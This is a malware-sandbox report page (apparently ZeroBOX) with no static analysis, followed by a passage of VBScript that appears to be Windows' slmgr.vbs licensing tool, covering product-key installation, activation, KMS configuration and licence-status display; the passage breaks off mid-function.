Static | ZeroBOX
No static analysis available.
Private Sub ExecCommandLine
Dim intOption, indexOption
Dim strOption, chOpt
Dim remoteInfo(3)
' First three parameters before "/" or "-" may be remote connection info
remoteInfo(0) = "."
intOption = intUnknownOption
For indexOption = 0 To 3
If indexOption >= WScript.Arguments.Count Then
Exit For
End If
strOption = WScript.Arguments.Item(indexOption)
chOpt = Left(strOption, 1)
If chOpt = "/" Or chOpt = "-" Then
intOption = intKnownOption
Exit For
End If
remoteInfo(indexOption) = strOption
Next
' Connect to remote only if syntax is reasonably good
If intUnknownOption = intOption Or 2 = indexOption Then
g_strComputer = "."
intOption = intUnknownOption
Else
g_strComputer = remoteInfo(0)
g_strUserName = remoteInfo(1)
g_strPassword = remoteInfo(2)
End If
Call Connect()
If intUnknownOption = intOption Then
LineOut GetResource("L_MsgInvalidOptions")
LineOut ""
Call DisplayUsage()
End If
intOption = ParseCommandLine(indexOption)
If intUnknownOption = intOption Then
LineOut GetResource("L_MsgUnrecognizedOption") & WScript.Arguments.Item(indexOption)
LineOut ""
Call DisplayUsage()
End If
End Sub
Private Function ParseCommandLine(index)
Dim strOption, chOpt
ParseCommandLine = intKnownOption
strOption = LCase(WScript.Arguments.Item(index))
chOpt = Left(strOption, 1)
If (chOpt <> "-") And (chOpt <> "/") Then
ParseCommandLine = intUnknownOption
Exit Function
End If
strOption = Right(strOption, Len(strOption) - 1)
If strOption = GetResource("L_optInstallLicense") Then
If HandleOptionParam(index+1, True, GetResource("L_optInstallLicense"), GetResource("L_ParamsLicenseFile")) Then
InstallLicense WScript.Arguments.Item(index+1)
End If
ElseIf strOption = GetResource("L_optInstallProductKey") Then
If HandleOptionParam(index+1, True, GetResource("L_optInstallProductKey"), GetResource("L_ParamsProductKey")) Then
InstallProductKey WScript.Arguments.Item(index+1)
End If
ElseIf strOption = GetResource("L_optUninstallProductKey") Then
If HandleOptionParam(index+1, False, GetResource("L_optUninstallProductKey"), GetResource("L_ParamsActivationIDOptional")) Then
UninstallProductKey WScript.Arguments.Item(index+1)
Else
UninstallProductKey ""
End If
ElseIf strOption = GetResource("L_optDisplayIID") Then
If HandleOptionParam(index+1, False, GetResource("L_optDisplayIID"), GetResource("L_ParamsActivationIDOptional")) Then
DisplayIID WScript.Arguments.Item(index+1)
Else
DisplayIID ""
End If
ElseIf strOption = GetResource("L_optActivateProduct") Then
If HandleOptionParam(index+1, False, GetResource("L_optActivateProduct"), GetResource("L_ParamsActivationIDOptional")) Then
ActivateProduct WScript.Arguments.Item(index+1)
Else
ActivateProduct ""
End If
ElseIf strOption = GetResource("L_optPhoneActivateProduct") Then
If HandleOptionParam(index+1, True, GetResource("L_optPhoneActivateProduct"), GetResource("L_ParamsPhoneActivate")) Then
If HandleOptionParam(index+2, False, GetResource("L_optPhoneActivateProduct"), GetResource("L_ParamsActivationIDOptional")) Then
PhoneActivateProduct WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)
Else
PhoneActivateProduct WScript.Arguments.Item(index+1), ""
End If
End If
ElseIf strOption = GetResource("L_optDisplayInformation") Then
If HandleOptionParam(index+1, False, GetResource("L_optDisplayInformation"), "") Then
DisplayAllInformation WScript.Arguments.Item(index+1), False
Else
DisplayAllInformation "", False
End If
ElseIf strOption = GetResource("L_optDisplayInformationVerbose") Then
If HandleOptionParam(index+1, False, GetResource("L_optDisplayInformationVerbose"), "") Then
DisplayAllInformation WScript.Arguments.Item(index+1), True
Else
DisplayAllInformation "", True
End If
ElseIf strOption = GetResource("L_optClearPKeyFromRegistry") Then
ClearPKeyFromRegistry
ElseIf strOption = GetResource("L_optReinstallLicenses") Then
ReinstallLicenses
ElseIf strOption = GetResource("L_optReArmWindows") Then
ReArmWindows()
ElseIf strOption = GetResource("L_optReArmApplication") Then
If HandleOptionParam(index+1, True, GetResource("L_optReArmApplication"), GetResource("L_ParamsApplicationID")) Then
ReArmApp WScript.Arguments.Item(index+1)
End If
ElseIf strOption = GetResource("L_optReArmSku") Then
If HandleOptionParam(index+1, True, GetResource("L_optReArmSku"), GetResource("L_ParamsActivationID")) Then
ReArmSku WScript.Arguments.Item(index+1)
End If
ElseIf strOption = GetResource("L_optExpirationDatime") Then
If HandleOptionParam(index+1, False, GetResource("L_optExpirationDatime"), GetResource("L_ParamsActivationIDOptional")) Then
ExpirationDatime WScript.Arguments.Item(index+1)
Else
ExpirationDatime ""
End If
ElseIf strOption = GetResource("L_optSetKmsName") Then
If HandleOptionParam(index+1, True, GetResource("L_optSetKmsName"), GetResource("L_ParamsSetKms")) Then
If HandleOptionParam(index+2, False, GetResource("L_optSetKmsName"), GetResource("L_ParamsActivationIDOptional")) Then
SetKmsMachineName WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)
Else
SetKmsMachineName WScript.Arguments.Item(index+1), ""
End If
End If
ElseIf strOption = GetResource("L_optClearKmsName") Then
If HandleOptionParam(index+1, False, GetResource("L_optClearKmsName"), GetResource("L_ParamsActivationIDOptional")) Then
ClearKms WScript.Arguments.Item(index+1)
Else
ClearKms ""
End If
ElseIf strOption = GetResource("L_optSetKmsLookupDomain") Then
If HandleOptionParam(index+1, True, GetResource("L_optSetKmsLookupDomain"), GetResource("L_ParamsSetKmsLookupDomain")) Then
If HandleOptionParam(index+2, False, GetResource("L_optSetKmsLookupDomain"), GetResource("L_ParamsActivationIDOptional")) Then
SetKmsLookupDomain WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)
Else
SetKmsLookupDomain WScript.Arguments.Item(index+1), ""
End If
End If
ElseIf strOption = GetResource("L_optClearKmsLookupDomain") Then
If HandleOptionParam(index+1, False, GetResource("L_optClearKmsLookupDomain"), GetResource("L_ParamsActivationIDOptional")) Then
ClearKmsLookupDomain WScript.Arguments.Item(index+1)
Else
ClearKmsLookupDomain ""
End If
ElseIf strOption = GetResource("L_optSetKmsHostCaching") Then
SetHostCachingDisable(False)
ElseIf strOption = GetResource("L_optClearKmsHostCaching") Then
SetHostCachingDisable(True)
ElseIf strOption = GetResource("L_optSetActivationInterval") Then
If HandleOptionParam(index+1, True, GetResource("L_optSetActivationInterval"), GetResource("L_ParamsSetActivationInterval")) Then
SetActivationInterval WScript.Arguments.Item(index+1)
End If
ElseIf strOption = GetResource("L_optSetRenewalInterval") Then
If HandleOptionParam(index+1, True, GetResource("L_optSetRenewalInterval"), GetResource("L_ParamsSetRenewalInterval")) Then
SetRenewalInterval WScript.Arguments.Item(index+1)
End If
ElseIf strOption = GetResource("L_optSetKmsListenPort") Then
If HandleOptionParam(index+1, True, GetResource("L_optSetKmsListenPort"), GetResource("L_ParamsSetListenKmsPort")) Then
SetKmsListenPort WScript.Arguments.Item(index+1)
End If
ElseIf strOption = GetResource("L_optSetDNS") Then
SetDnsPublishingDisabled(False)
ElseIf strOption = GetResource("L_optClearDNS") Then
SetDnsPublishingDisabled(True)
ElseIf strOption = GetResource("L_optSetNormalPriority") Then
SetKmsLowPriority(False)
ElseIf strOption = GetResource("L_optClearNormalPriority") Then
SetKmsLowPriority(True)
ElseIf strOption = GetResource("L_optSetVLActivationType") Then
If HandleOptionParam(index+1, False, GetResource("L_optSetVLActivationType"), GetResource("L_ParamsVLActivationTypeOptional")) Then
If HandleOptionParam(index+2, False, GetResource("L_optSetVLActivationType"), GetResource("L_ParamsActivationIDOptional")) Then
SetVLActivationType WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)
Else
SetVLActivationType WScript.Arguments.Item(index+1), ""
End If
Else
SetVLActivationType Null, ""
End If
ElseIf strOption = GetResource("L_optListInstalledILs") Then
TkaListILs
ElseIf strOption = GetResource("L_optRemoveInstalledIL") Then
If HandleOptionParam(index+2, True, GetResource("L_optRemoveInstalledIL"), GetResource("L_ParamsRemoveInstalledIL")) Then
TkaRemoveIL WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)
End If
ElseIf strOption = GetResource("L_optListTkaCerts") Then
TkaListCerts
ElseIf strOption = GetResource("L_optForceTkaActivation") Then
If HandleOptionParam(index+2, False, GetResource("L_optForceTkaActivation"), GetResource("L_ParamsForceTkaActivation")) Then
TkaActivate WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)
ElseIf HandleOptionParam(index+1, True, GetResource("L_optForceTkaActivation"), GetResource("L_ParamsForceTkaActivation")) Then
TkaActivate WScript.Arguments.Item(index+1), ""
End If
ElseIf strOption = GetResource("L_optADGetIID") Then
If HandleOptionParam(index+1, True, GetResource("L_optADGetIID"), GetResource("L_ParamsProductKey")) Then
ADGetIID WScript.Arguments.Item(index+1)
End If
ElseIf strOption = GetResource("L_optADActivate") Then
If HandleOptionParam(index+1, True, GetResource("L_optADActivate"), GetResource("L_ParamsProductKey")) Then
If HandleOptionParam(index+2, False, GetResource("L_optADActivate"), GetResource("L_ParamsAONameOptional")) Then
ADActivateOnline WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2)
Else
ADActivateOnline WScript.Arguments.Item(index+1), ""
End If
End If
ElseIf strOption = GetResource("L_optADApplyCID") Then
If HandleOptionParam(index+1, True, GetResource("L_optADApplyCID"), GetResource("L_ParamsProductKey")) Then
If HandleOptionParam(index+2, True, GetResource("L_optADApplyCID"), GetResource("L_ParamsPhoneActivate")) Then
If HandleOptionParam(index+3, False, GetResource("L_optADApplyCID"), GetResource("L_ParamsAONameOptional")) Then
ADActivatePhone WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2), WScript.Arguments.Item(index+3)
Else
ADActivatePhone WScript.Arguments.Item(index+1), WScript.Arguments.Item(index+2), ""
End If
End If
End If
ElseIf strOption = GetResource("L_optADListAOs") Then
ADListActivationObjects
ElseIf strOption = GetResource("L_optADDeleteAO") Then
If HandleOptionParam(index+1, True, GetResource("L_optADDeleteAO"), GetResource("L_ParamsAODistinguishedName")) Then
ADDeleteActivationObjects WScript.Arguments.Item(index+1)
End If
Else
ParseCommandLine = intUnknownOption
End If
End Function
' global options
Private Function CheckProductForCommand(objProduct, strActivationID)
Dim bCheckProductForCommand
bCheckProductForCommand = False
If (strActivationID = "" And LCase(objProduct.ApplicationId) = WindowsAppId And (objProduct.LicenseIsAddon = False)) Then
bCheckProductForCommand = True
End If
If (LCase(objProduct.ID) = strActivationID) Then
bCheckProductForCommand = True
End If
CheckProductForCommand = bCheckProductForCommand
End Function
Private Sub UninstallProductKey(strActivationID)
Dim objService, objProduct
Dim lRet, strVersion, strDescription
Dim kmsServerFound, uninstallDone
Dim iIsPrimaryWindowsSku, bPrimaryWindowsSkuKeyUninstalled
Dim bCheckProductForCommand
On Error Resume Next
strActivationID = LCase(strActivationID)
kmsServerFound = False
uninstallDone = False
set objService = GetServiceObject("Version")
strVersion = objService.Version
For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", ProductKeyID", PartialProductKeyNonNullWhereClause)
strDescription = objProduct.Description
bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)
If (bCheckProductForCommand) Then
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)
If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then
OutputIndeterminateOperationWarning(objProduct)
End If
objProduct.UninstallProductKey()
QuitIfError()
' Uninstalling a product key could change Windows licensing state.
' Since the service determines if it can shut down and when is the next start time
' based on the licensing state we should reconsume the licenses here.
objService.RefreshLicenseStatus()
' For Windows (i.e. if no activationID specified), always
' ensure that product-key for primary SKU is uninstalled
If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then
uninstallDone = True
End If
LineOut GetResource("L_MsgUninstalledPKey")
' Check whether a ActID belongs to KMS server.
' Do this for all ActID other than one whose pkey is being uninstalled
ElseIf IsKmsServer(strDescription) Then
kmsServerFound = True
End If
If (kmsServerFound = True) And (uninstallDone = True) Then
Exit For
End If
Next
If kmsServerFound = True Then
' Set the KMS version in the registry (both 64 and 32 bit locations)
lRet = SetRegistryStr(HKEY_LOCAL_MACHINE, SLKeyPath, "KeyManagementServiceVersion", strVersion)
If (lRet <> 0) Then
QuitWithError lRet
End If
lRet = SetRegistryStr(HKEY_LOCAL_MACHINE, SLKeyPath32, "KeyManagementServiceVersion", strVersion)
If (lRet <> 0) Then
QuitWithError lRet
End If
Else
' Clear the KMS version from the registry (both 64 and 32 bit locations)
lRet = DeleteRegistryValue(HKEY_LOCAL_MACHINE, SLKeyPath, "KeyManagementServiceVersion")
If (lRet <> 0 And lRet <> 2) Then
QuitWithError lRet
End If
lRet = DeleteRegistryValue(HKEY_LOCAL_MACHINE, SLKeyPath32, "KeyManagementServiceVersion")
If (lRet <> 0 And lRet <> 2) Then
QuitWithError lRet
End If
End If
If uninstallDone = False Then
LineOut GetResource("L_MsgErrorPKey")
End If
End Sub
Private Sub DisplayIID(strActivationID)
Dim objProduct
Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey
Dim bCheckProductForCommand
strActivationID = LCase(strActivationID)
bFoundAtLeastOneKey = False
For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", OfflineInstallationId", PartialProductKeyNonNullWhereClause)
bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)
If (bCheckProductForCommand) Then
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)
If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then
OutputIndeterminateOperationWarning(objProduct)
End If
LineOut GetResource("L_MsgInstallationID") & objProduct.OfflineInstallationId
bFoundAtLeastOneKey = True
If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then
Exit Sub
End If
End If
Next
If (bFoundAtLeastOneKey = TRUE) Then
LineOut ""
LineOut GetResource("L_MsgPhoneNumbers")
Else
LineOut GetResource("L_MsgErrorProductNotFound")
End If
End Sub
Private Sub DisplayActivatingSku(objProduct)
Dim strOutput
strOutput = Replace(GetResource("L_MsgActivating"), "%PRODUCTNAME%", objProduct.Name)
strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)
LineFlush strOutput
End Sub
Private Sub DisplayActivatedStatus(objProduct)
If (objProduct.LicenseStatus = 1) Then
LineOut GetResource("L_MsgActivated")
ElseIf (objProduct.LicenseStatus = 4) Then
LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_11")
ElseIf ((objProduct.LicenseStatus = 5) And (objProduct.LicenseStatusReason = HR_SL_E_NOT_GENUINE)) Then
LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_12")
ElseIf (objProduct.LicenseStatus = 6) Then
LineOut GetResource("L_MsgActivated")
LineOut GetResource("L_MsgLicenseStatusExtendedGrace_1")
Else
LineOut GetResource("L_MsgActivated_Failed")
End If
End Sub
Private Sub ActivateProduct(strActivationID)
Dim objService, objProduct
Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey
Dim strOutput
Dim bCheckProductForCommand
strActivationID = LCase(strActivationID)
bFoundAtLeastOneKey = False
set objService = GetServiceObject("Version")
For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", LicenseStatus, VLActivationTypeEnabled", PartialProductKeyNonNullWhereClause)
bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)
If (bCheckProductForCommand) Then
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)
If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then
OutputIndeterminateOperationWarning(objProduct)
End If
'
' This routine does not perform token-based activation.
' If configured for TA, then show message to user.
'
If (objProduct.VLActivationTypeEnabled = 3) Then
LineOut GetResource("L_MsgTokenBasedActivationMustBeDone")
Exit Sub
End If
strOutput = Replace(GetResource("L_MsgActivating"), "%PRODUCTNAME%", objProduct.Name)
strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)
LineOut strOutput
On Error Resume Next
'
' Avoid using a MAK activation count up unless needed
'
If (Not(IsMAK(objProduct.Description)) Or (objProduct.LicenseStatus <> 1)) Then
objProduct.Activate()
QuitIfError()
objService.RefreshLicenseStatus()
objProduct.refresh_
End If
DisplayActivatedStatus objProduct
bFoundAtLeastOneKey = True
If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then
Exit Sub
End If
End If
Next
If (bFoundAtLeastOneKey = True) Then
Exit Sub
End If
LineOut GetResource("L_MsgErrorProductNotFound")
End Sub
Private Sub PhoneActivateProduct(strCID, strActivationID)
Dim objService, objProduct
Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey
Dim strOutput
Dim bCheckProductForCommand
strActivationID = LCase(strActivationID)
bFoundAtLeastOneKey = False
set objService = GetServiceObject("Version")
For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", OfflineInstallationId, LicenseStatus, LicenseStatusReason", PartialProductKeyNonNullWhereClause)
bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)
If (bCheckProductForCommand) Then
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)
If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then
OutputIndeterminateOperationWarning(objProduct)
End If
On Error Resume Next
objProduct.DepositOfflineConfirmationId objProduct.OfflineInstallationId, strCID
QuitIfError()
objService.RefreshLicenseStatus()
objProduct.refresh_
If (objProduct.LicenseStatus = 1) Then
strOutput = Replace(GetResource("L_MsgConfID"), "%ACTID%", objProduct.ID)
LineOut strOutput
ElseIf (objProduct.LicenseStatus = 4) Then
LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_11")
ElseIf ((objProduct.LicenseStatus = 5) And (objProduct.LicenseStatusReason = HR_SL_E_NOT_GENUINE)) Then
LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_12")
ElseIf (objProduct.LicenseStatus = 6) Then
LineOut GetResource("L_MsgActivated")
LineOut GetResource("L_MsgLicenseStatusExtendedGrace_1")
Else
LineOut GetResource("L_MsgActivated_Failed")
End If
bFoundAtLeastOneKey = True
If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then
Exit Sub
End If
End If
Next
If (bFoundAtLeastOneKey = True) Then
Exit Sub
End If
LineOut GetResource("L_MsgErrorProductNotFound")
End Sub
Private Sub DisplayKMSInformation(objService, objProduct)
Dim dwValue
Dim boolValue
Dim KeyManagementServiceTotalRequests
Dim objProductKMSValues
set objProductKMSValues = GetProductObject( _
"IsKeyManagementServiceMachine, KeyManagementServiceCurrentCount, " & _
"KeyManagementServiceTotalRequests, KeyManagementServiceFailedRequests, " & _
"KeyManagementServiceUnlicensedRequests, KeyManagementServiceLicensedRequests, " & _
"KeyManagementServiceOOBGraceRequests, KeyManagementServiceOOTGraceRequests, " & _
"KeyManagementServiceNonGenuineGraceRequests, KeyManagementServiceNotificationRequests", _
"id = '" & objProduct.ID & "'")
If objProductKMSValues.IsKeyManagementServiceMachine > 0 Then
LineOut ""
LineOut GetResource("L_MsgKmsEnabled")
LineOut " " & GetResource("L_MsgKmsCurrentCount") & objProductKMSValues.KeyManagementServiceCurrentCount
dwValue = objService.KeyManagementServiceListeningPort
If 0 = dwValue Then
LineOut " " & GetResource("L_MsgKmsListeningOnPort") & DefaultPort
Else
LineOut " " & GetResource("L_MsgKmsListeningOnPort") & dwValue
End If
boolValue = objService.KeyManagementServiceDnsPublishing
If true = boolValue Then
LineOut " " & GetResource("L_MsgKmsDnsPublishingEnabled")
Else
LineOut " " & GetResource("L_MsgKmsDnsPublishingDisabled")
End If
boolValue = objService.KeyManagementServiceLowPriority
If false = boolValue Then
LineOut " " & GetResource("L_MsgKmsPriNormal")
Else
LineOut " " & GetResource("L_MsgKmsPriLow")
End If
On Error Resume Next
KeyManagementServiceTotalRequests = objProductKMSValues.KeyManagementServiceTotalRequests
If (Not(IsNull(KeyManagementServiceTotalRequests))) And (Not(IsEmpty(KeyManagementServiceTotalRequests))) Then
LineOut ""
LineOut GetResource("L_MsgKmsCumulativeRequestsFromClients")
LineOut " " & GetResource("L_MsgKmsTotalRequestsRecieved") & objProductKMSValues.KeyManagementServiceTotalRequests
LineOut " " & GetResource("L_MsgKmsFailedRequestsReceived") & objProductKMSValues.KeyManagementServiceFailedRequests
LineOut " " & GetResource("L_MsgKmsRequestsWithStatusUnlicensed") & objProductKMSValues.KeyManagementServiceUnlicensedRequests
LineOut " " & GetResource("L_MsgKmsRequestsWithStatusLicensed") & objProductKMSValues.KeyManagementServiceLicensedRequests
LineOut " " & GetResource("L_MsgKmsRequestsWithStatusInitialGrace") & objProductKMSValues.KeyManagementServiceOOBGraceRequests
LineOut " " & GetResource("L_MsgKmsRequestsWithStatusLicenseExpiredOrHwidOot") & objProductKMSValues.KeyManagementServiceOOTGraceRequests
LineOut " " & GetResource("L_MsgKmsRequestsWithStatusNonGenuineGrace") & objProductKMSValues.KeyManagementServiceNonGenuineGraceRequests
LineOut " " & GetResource("L_MsgKmsRequestsWithStatusNotification") & objProductKMSValues.KeyManagementServiceNotificationRequests
End If
End If
End Sub
Private Sub DisplayADClientInformation(objService, objProduct)
LineOut ""
LineOut GetResource("L_MsgVLMostRecentActivationInfo")
LineOut GetResource("L_MsgADInfo")
LineOut " " & GetResource("L_MsgADInfoAOName") & objProduct.ADActivationObjectName
LineOut " " & GetResource("L_MsgADInfoAODN") & objProduct.ADActivationObjectDN
LineOut " " & GetResource("L_MsgADInfoExtendedPid") & objProduct.ADActivationCsvlkPid
LineOut " " & GetResource("L_MsgADInfoActID") & objProduct.ADActivationCsvlkSkuId
End Sub
Private Sub DisplayTkaClientInformation(objService, objProduct)
LineOut ""
LineOut GetResource("L_MsgVLMostRecentActivationInfo")
LineOut GetResource("L_MsgTkaInfo")
LineOut " " & Replace(GetResource("L_MsgTkaInfoILID" ), "%ILID%" , objProduct.TokenActivationILID)
LineOut " " & Replace(GetResource("L_MsgTkaInfoILVID" ), "%ILVID%" , objProduct.TokenActivationILVID)
LineOut " " & Replace(GetResource("L_MsgTkaInfoGrantNo" ), "%GRANTNO%" , objProduct.TokenActivationGrantNumber)
LineOut " " & Replace(GetResource("L_MsgTkaInfoThumbprint"), "%THUMBPRINT%", objProduct.TokenActivationCertificateThumbprint)
End Sub
Private Sub DisplayKMSClientInformation(objService, objProduct)
Dim strKms, strIpAddress, strPort, strOutput
Dim iVLRenewalInterval, iVLActivationInterval
Dim bFixedKms, bKmsLookupDomain, strKmsLookupDomain
iVLRenewalInterval = objProduct.VLRenewalInterval
iVLActivationInterval = objProduct.VLActivationInterval
LineOut ""
LineOut GetResource("L_MsgVLMostRecentActivationInfo")
LineOut GetResource("L_MsgKmsInfo")
LineOut " " & GetResource("L_MsgCmid") & objService.ClientMachineID
strKmsLookupDomain = objProduct.KeyManagementServiceLookupDomain
If strKmsLookupDomain <> "" and Not IsNull(strKmsLookupDomain) Then
bKmsLookupDomain = True
LineOut " " & GetResource("L_MsgKmsLookupDomain") & strKmsLookupDomain
End If
strKms = objProduct.KeyManagementServiceMachine
if strKms <> "" And Not IsNull(strKms) Then
bFixedKms = True
strPort = objProduct.KeyManagementServicePort
If (strPort = 0) Then
strPort = DefaultPort
End If
LineOut " " & GetResource("L_MsgRegisteredKmsName") & strKms & ":" & strPort
Else
strKms = objProduct.DiscoveredKeyManagementServiceMachineName
strPort = objProduct.DiscoveredKeyManagementServiceMachinePort
If IsNull(strKms) Or (strKms = "") Or IsNull(strPort) Or (strPort = 0) Then
LineOut " " & GetResource("L_MsgKmsFromDnsUnavailable")
Else
LineOut " " & GetResource("L_MsgKmsFromDns") & strKms & ":" & strPort
End If
End If
strIpAddress = objProduct.DiscoveredKeyManagementServiceMachineIpAddress
If IsNull(strIpAddress) Or (strIpAddress = "") Then
LineOut " " & GetResource("L_MsgKmsIpAddressUnavailable")
Else
LineOut " " & GetResource("L_MsgKmsIpAddress") & strIpAddress
End If
LineOut " " & GetResource("L_MsgKmsPID4") & objProduct.KeyManagementServiceProductKeyID
strOutput = Replace(GetResource("L_MsgActivationInterval"), "%INTERVAL%", iVLActivationInterval)
LineOut " " & strOutput
strOutput = Replace(GetResource("L_MsgRenewalInterval"), "%INTERVAL%", iVLRenewalInterval)
LineOut " " & strOutput
if (objService.KeyManagementServiceHostCaching = True) Then
LineOut " " & GetResource("L_MsgKmsHostCachingEnabled")
Else
LineOut " " & GetResource("L_MsgKmsHostCachingDisabled")
End If
If bKmsLookupDomain And bFixedKms Then
LineOut ""
LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), "%KMS%", strKms & ":" & strPort)
End If
End Sub
Private Sub DisplayAVMAClientInformation(objProduct)
Dim strHostName, strPid
Dim displayDate
Dim bHostName, bFiletime, bPid
strHostName = objProduct.AutomaticVMActivationHostMachineName
bHostName = strHostName <> "" And Not IsNull(strHostName)
Set displayDate = CreateObject("WBemScripting.SWbemDateTime")
displayDate.Value = objProduct.AutomaticVMActivationLastActivationTime
bFiletime = displayDate.GetFileTime(false) <> 0
strPid = objProduct.AutomaticVMActivationHostDigitalPid2
bPid = strPid <> "" And Not IsNull(strPid)
If bHostName Or bFiletime Or bPid Then
LineOut ""
LineOut GetResource("L_MsgVLMostRecentActivationInfo")
LineOut GetResource("L_MsgAVMAInfo")
If bHostName Then
LineOut " " & GetResource("L_MsgAVMAHostMachineName") & strHostName
Else
LineOut " " & GetResource("L_MsgAVMAHostMachineName") & GetResource("L_MsgNotAvailable")
End If
If bFiletime Then
LineOut " " & GetResource("L_MsgAVMALastActTime") & displayDate.GetVarDate
Else
LineOut " " & GetResource("L_MsgAVMALastActTime") & GetResource("L_MsgNotAvailable")
End If
If bPid Then
LineOut " " & GetResource("L_MsgAVMAHostPid2") & strPid
Else
LineOut " " & GetResource("L_MsgAVMAHostPid2") & GetResource("L_MsgNotAvailable")
End If
End If
End Sub
' Display all information for /dlv and /dli
' If you add need to access new properties through WMI you must add them to the
' queries for service/object. Be sure to check that the object properties in DisplayAllInformation()
' are requested for function/methods such as GetIsPrimaryWindowsSKU() and DisplayKMSClientInformation().
Private Sub DisplayAllInformation(strParm, bVerbose)
Dim objService, objProduct
Dim strServiceSelectClause
Dim objProductIter, strIterSelectClause, strProductSelectClause
Dim strDescription, bKmsClient, strSLActID, bKmsServer, bTBL
Dim strAVMAId, bAVMA
Dim ls, gpMin, gpDay, displayDate
Dim strOutput
Dim strUrl
Dim bShowSkuInformation
Dim iIsPrimaryWindowsSku, bUseDefault
Dim productKeyFound
Dim strErr
strParm = LCase(strParm)
productKeyFound = False
strServiceSelectClause = _
"KeyManagementServiceListeningPort, KeyManagementServiceDnsPublishing, " & _
"KeyManagementServiceLowPriority, ClientMachineId, KeyManagementServiceHostCaching, " & _
"Version"
strProductSelectClause = _
ProductIsPrimarySkuSelectClause & ", " & _
"ProductKeyID, ProductKeyChannel, OfflineInstallationId, " & _
"ProcessorURL, MachineURL, UseLicenseURL, ProductKeyURL, ValidationURL, " & _
"GracePeriodRemaining, LicenseStatus, LicenseStatusReason, EvaluationEndDate, " & _
"VLRenewalInterval, VLActivationInterval, KeyManagementServiceLookupDomain, KeyManagementServiceMachine, " & _
"KeyManagementServicePort, DiscoveredKeyManagementServiceMachineName, " & _
"DiscoveredKeyManagementServiceMachinePort, DiscoveredKeyManagementServiceMachineIpAddress, KeyManagementServiceProductKeyID," & _
"TokenActivationILID, TokenActivationILVID, TokenActivationGrantNumber," & _
"TokenActivationCertificateThumbprint, TokenActivationAdditionalInfo, TrustedTime," & _
"ADActivationObjectName, ADActivationObjectDN, ADActivationCsvlkPid, ADActivationCsvlkSkuId, VLActivationTypeEnabled, VLActivationType," & _
"IAID, AutomaticVMActivationHostMachineName, AutomaticVMActivationLastActivationTime, AutomaticVMActivationHostDigitalPid2"
If bVerbose Then
strServiceSelectClause = "RemainingWindowsReArmCount, " & strServiceSelectClause
strProductSelectClause = "RemainingAppReArmCount, RemainingSkuReArmCount, " & strProductSelectClause
End If
set objService = GetServiceObject(strServiceSelectClause)
If bVerbose Then
LineOut GetResource("L_MsgServiceVersion") & objService.Version
End If
If (strParm = "all") Then
strIterSelectClause = strProductSelectClause
Else
strIterSelectClause = ProductIsPrimarySkuSelectClause
End If
For Each objProductIter in GetProductCollection(strIterSelectClause, EmptyWhereClause)
strSLActID = objProductIter.ID
' Display information if:
' parm = "all" or
' ActID = parm or
' default to current ActID (parm = "" and IsPrimaryWindowsSKU is 1 or 2)
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProductIter)
bUseDefault = False
bShowSkuInformation = False
If (strParm = "" And ((iIsPrimaryWindowsSku = 1) Or (iIsPrimaryWindowsSku = 2))) Then
bUseDefault = True
bShowSkuInformation = True
End If
If (strParm = "" And (objProductIter.LicenseIsAddon And objProductIter.PartialProductKey <> "")) Then
bShowSkuInformation = True
End If
If (strParm = "all") Then
bShowSkuInformation = True
End If
If (strParm = LCase(strSLActID)) Then
bShowSkuInformation = True
End If
If (bShowSkuInformation) Then
If (strParm = "all") Then
set objProduct = objProductIter
Else
set objProduct = GetProductObject(strProductSelectClause, "id = '" & objProductIter.ID & "'")
End If
strDescription = objProduct.Description
'If the user didn't specify anything and we are showing the default case, warn them
' if this can't be verified as the primary SKU
If ((bUseDefault = True) And (iIsPrimaryWindowsSku = 2)) Then
OutputIndeterminateOperationWarning(objProduct)
End IF
productKeyFound = True
LineOut ""
LineOut GetResource("L_MsgProductName") & objProduct.Name
LineOut GetResource("L_MsgProductDesc") & strDescription
If objProduct.TokenActivationAdditionalInfo <> "" Then
LineOut Replace( _
GetResource("L_MsgTkaInfoAdditionalInfo"), _
"%MOREINFO%", _
objProduct.TokenActivationAdditionalInfo _
)
End If
bKmsServer = IsKmsServer(strDescription)
bKmsClient = IsKmsClient(strDescription)
bTBL = IsTBL(strDescription)
bAVMA = IsAVMA(strDescription)
If bVerbose Then
LineOut GetResource("L_MsgActID") & strSLActID
LineOut GetResource("L_MsgAppID") & objProduct.ApplicationID
